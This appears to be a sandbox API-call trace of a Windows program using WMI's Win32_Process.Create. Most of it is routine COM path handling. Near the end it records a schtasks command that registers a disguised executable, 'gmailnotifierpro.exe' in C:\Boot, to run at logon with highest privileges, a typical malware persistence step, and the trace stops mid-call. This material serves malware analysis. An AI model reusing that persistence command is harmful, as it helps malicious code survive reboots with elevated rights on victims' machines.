WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5a2be0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5a2be0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5a2be0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0108.295] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5a2820, uIndex=0x0, pszName="ROOT") returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5a2be0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5a2be0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0108.295] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5a2820, uIndex=0x1, pszName="CIMV2") returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetClassName (in: This=0x5a2820, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0108.295] WbemDefPath:IWbemPath:SetClassName (This=0x5a2820, Name="Win32_Process") returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetInfo (in: This=0x5a2820, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0108.295] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5a2820, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetText (in: This=0x5a2820, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetText (in: This=0x5a2820, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetInfo (in: This=0x5a2820, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5a2820, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetText (in: This=0x5a2820, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetText (in: This=0x5a2820, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetText (in: This=0x5a2820, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0108.296] WbemDefPath:IWbemPath:GetText (in: This=0x5a2820, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0108.296] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0108.296] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0108.296] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0108.296] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.297] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4ac430) returned 0x0 [0108.297] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac430, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0108.297] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac430, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4b0060) returned 0x0 [0108.297] WbemDefPath:IUnknown:Release (This=0x1b4ac430) returned 0x0 [0108.297] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4b0060) returned 0x0 [0108.297] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0108.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0108.298] WbemDefPath:IUnknown:AddRef (This=0x1b4b0060) returned 0x3 [0108.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0108.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0108.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4ac390) returned 0x0 [0108.298] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac390, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.298] WbemDefPath:IUnknown:Release (This=0x1b4ac390) returned 0x3 [0108.298] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0108.298] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0108.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0108.298] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x2 [0108.298] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x1 [0108.299] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0108.299] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0108.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4b0060) returned 0x0 [0108.299] WbemDefPath:IUnknown:AddRef (This=0x1b4b0060) returned 0x3 [0108.299] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x2 [0108.299] WbemDefPath:IWbemPath:SetText (This=0x1b4b0060, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0108.299] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0108.299] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0108.299] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.299] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0108.299] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0108.300] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0108.300] IUnknown:Release (This=0x6124e8) returned 0x1 [0108.301] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4ac5d0) returned 0x0 [0108.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac5d0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0108.301] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac5d0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af3a0) returned 0x0 [0108.301] WbemDefPath:IUnknown:Release (This=0x1b4ac5d0) returned 0x0 [0108.301] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af3a0) returned 0x0 [0108.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0108.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0108.302] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0108.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0108.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0108.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4ac1b0) returned 0x0 [0108.302] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac1b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0108.302] WbemDefPath:IUnknown:Release (This=0x1b4ac1b0) returned 0x3 [0108.302] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0108.302] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0108.302] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0108.302] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0108.302] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0108.303] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0108.303] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0108.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af3a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af3a0) returned 0x0 [0108.303] WbemDefPath:IUnknown:AddRef (This=0x1b4af3a0) returned 0x3 [0108.303] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x2 [0108.303] WbemDefPath:IWbemPath:SetText (This=0x1b4af3a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0108.303] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0060, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0108.303] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af3a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0108.303] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0108.303] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0108.303] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b0060) returned 0x0 [0108.303] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af3a0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0108.303] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af3a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0108.303] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af3a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0108.303] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0060, uIndex=0x0, pszName="root") returned 0x0 [0108.303] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af3a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0108.303] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4af3a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0108.303] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0060, uIndex=0x1, pszName="cimv2") returned 0x0 [0108.303] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af3a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af3a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0060, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0060, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0060, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656ff0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetText (in: This=0x656ff0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0060, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0060, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0108.304] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0060, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0108.304] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0108.304] WbemLocator:IUnknown:AddRef (This=0x1b4adcf8) returned 0x3 [0108.304] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4adcf8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b4adcf8) returned 0x0 [0108.304] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x3 [0108.304] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x2 [0108.304] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0060, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0108.305] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0060, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0108.305] IWbemServices:GetObject (in: This=0x1b4b3860, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4c9be0, ppCallResult=0x0) returned 0x0 [0108.308] IWbemClassObject:GetMethod (in: This=0x1b4c9be0, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4ca600, ppOutSignature=0x1b30d610*=0x1b4cadd0) returned 0x0 [0108.308] IWbemClassObject:SpawnInstance (in: This=0x1b4ca600, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4cb140) returned 0x0 [0108.309] IWbemClassObject:Get (in: This=0x1b4cb140, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c2048*=0, plFlavor=0x27c204c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c2048*=8, plFlavor=0x27c204c*=32) returned 0x0 [0108.309] IWbemClassObject:Get (in: This=0x1b4cb140, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c2048*=8, plFlavor=0x27c204c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c2048*=8, plFlavor=0x27c204c*=32) returned 0x0 [0108.309] IWbemClassObject:Put (This=0x1b4cb140, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"gmailnotifierpro\" /sc ONLOGON /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0108.310] IWbemClassObject:Get (in: This=0x1b4cb140, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c20d8*=0, plFlavor=0x27c20dc*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c20d8*=13, plFlavor=0x27c20dc*=32) returned 0x0 [0108.310] IWbemClassObject:Get (in: This=0x1b4cb140, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c20d8*=13, plFlavor=0x27c20dc*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c20d8*=13, plFlavor=0x27c20dc*=32) returned 0x0 [0108.310] IUnknown:QueryInterface (in: This=0x1b4ad860, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, 